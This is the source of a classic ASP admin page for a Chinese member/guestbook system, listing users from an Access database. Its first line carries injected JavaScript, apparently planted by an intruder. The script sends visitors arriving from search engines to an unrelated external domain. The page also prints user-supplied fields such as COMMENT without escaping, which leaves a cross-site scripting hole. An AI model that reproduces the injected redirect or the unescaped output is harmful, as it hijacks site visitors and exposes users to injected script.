d:\wwwroot\wuchunhua\liuyan\admin.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
002: <%
003:    '检查用户是否已经登陆,是否是管理员
004:    If Session("IsPassed") <> TRUE OR Session("IsAdmin") <> TRUE Then
005:       Response.Redirect "login.asp?ErrMsg=请先登陆"
006:       Response.End
007:    End If
008: %
>
009: <html>
010: <head>
011: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
012: <title>管理会员系统</title>
013: <style type="text/css">
014: <!--
015: .style1 {
016:    font-family: Verdana, Arial, Helvetica, sans-serif;
017:    font-size: 14px;
018: }
019: .style2 {
020:    font-family: Verdana, Arial, Helvetica, sans-serif;
021:    font-size: 14px;
022:    color: red
023: }
024: -->

025: </style>
026: </head>
027: <body>
028: <h2 align=center>会员列表</h2>
029: <table width="700" border="1" align="center" cellspacing = 1 cellpadding = 2 bordercolor=#808080>
030:   <tr>
031:     <td bgcolor=#E1F5FF class="style1">用户编号</td>
032:     <td bgcolor=#E1F5FF class="style1">用户名</td>
033:    <td bgcolor=#E1F5FF class="style1">真实姓名</td>
034:    <td bgcolor=#E1F5FF class="style1">电子邮件地址</td>
035:    <td bgcolor=#E1F5FF class="style1">注册时间</td>
036:    <td bgcolor=#E1F5FF class="style1">自我介绍</td>
037:    <td bgcolor=#E1F5FF class="style1">权限级别</td>
038:     <td bgcolor=#E1F5FF class="style1">操作</td>
039:   </tr>
040: <%
041:    '建立数据库连接
042:    Dim rCount
043:    Dim objConn, objRS, strSql
044:   
045:    '初始化数据库连接
046:    DB="./Board/database/BOARD.mdb"
047:    Set objConn = Server.CreateObject("ADODB.Connection")                          
048:    objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
049:    '打开数据库连接
050:    objConn.Open
051:   
052:    '如果是超级管理员,则检索所有用户信息
053:    If Session("Class") = "1" Then
054:       strSql = "Select * From MEMBER"
055:    Else
056:       '一般管理员,只检索普通用户信息
057:       If Session("Class") = "2" Then
058:          strSql = "Select * From MEMBER WHERE CLASS = 9"
059:       End If
060:    End If
061:   
062:    '打开数据集
063:    Set objRS = Server.CreateObject("ADODB.Recordset")
064:     objRS.Open strSQL, objConn, 1, 3, 1
065:   
066:    rCount = objRS.RecordCount
067:   
068:    '循环,显示各用户的信息
069:    Do While objRS.EOF<> TRUE
070: %
>
071: <tr>
072:    <td class="style1"><% = objRS.Fields("ID")%></td>
073:     <td class="style1"><% = objRS.Fields("NAME")%></td>
074:    <td class="style1"><% = objRS.Fields("REALNAME")%></td>
075:    <td class="style1"><% = objRS.Fields("EMAIL")%></td>
076:    <td class="style1"><% = objRS.Fields("REGTIME")%></td>
077:    <td class="style1"><%
078:          If objRS.Fields("COMMENT") <> EMPTY Then
079:             Response.Write(objRS.Fields("COMMENT"))
080:          Else
081:             Response.Write("&nbsp;")
082:          End If
083:       %
>
084:    </td>
085:    <td class="style1"><% '根据用户级别,填写不同的信息
086:          If objRS.Fields("CLASS") = "1" Then
087:             Response.Write("超级管理员")
088:          Else
089:          If objRS.Fields("CLASS") = "2" Then
090:             Response.Write("管理员")
091:          Else
092:          If objRS.Fields("CLASS") = "9" Then
093:             Response.Write("普通会员")
094:          End If
095:          End If
096:          End If
097:       %
>
098:    </td>
099:     <td class="style1">
100:       <a href=modify.asp?id=<% = objRS.Fields("ID") %>>修改</a>
101:    <%
102:       If objRS.Fields("CLASS") <> "1" Then
103:    %
>
104:       <a href=delete.asp?id=<%=objRS.Fields("Id")%>>删除</a>
105:    <%
106:       End If
107:    %
>
108:    </td>
109: </tr>
110: <%
111: objRS.moveNext
112: Loop
113: %
>
114: <%
115:    '显示用户总数
116:    If rCount=0 Then
117:            Response.Write("<tr align=center><td colspan=8><div class=""style2"">目前没有用户记录</div></td></tr>")
118:    Else
119:          Response.Write("<tr align=center><td colspan=8><div class=""style2"">当前共有"&Trim(rCount)&"条用户记录</div></td></tr>")
120:    End If
121: %
>
122: </table>
123: <p align="center"><a  class="style1" href="register.asp">添加新用户</a></p>
124: </body>
125: </html>
126:
127:
128: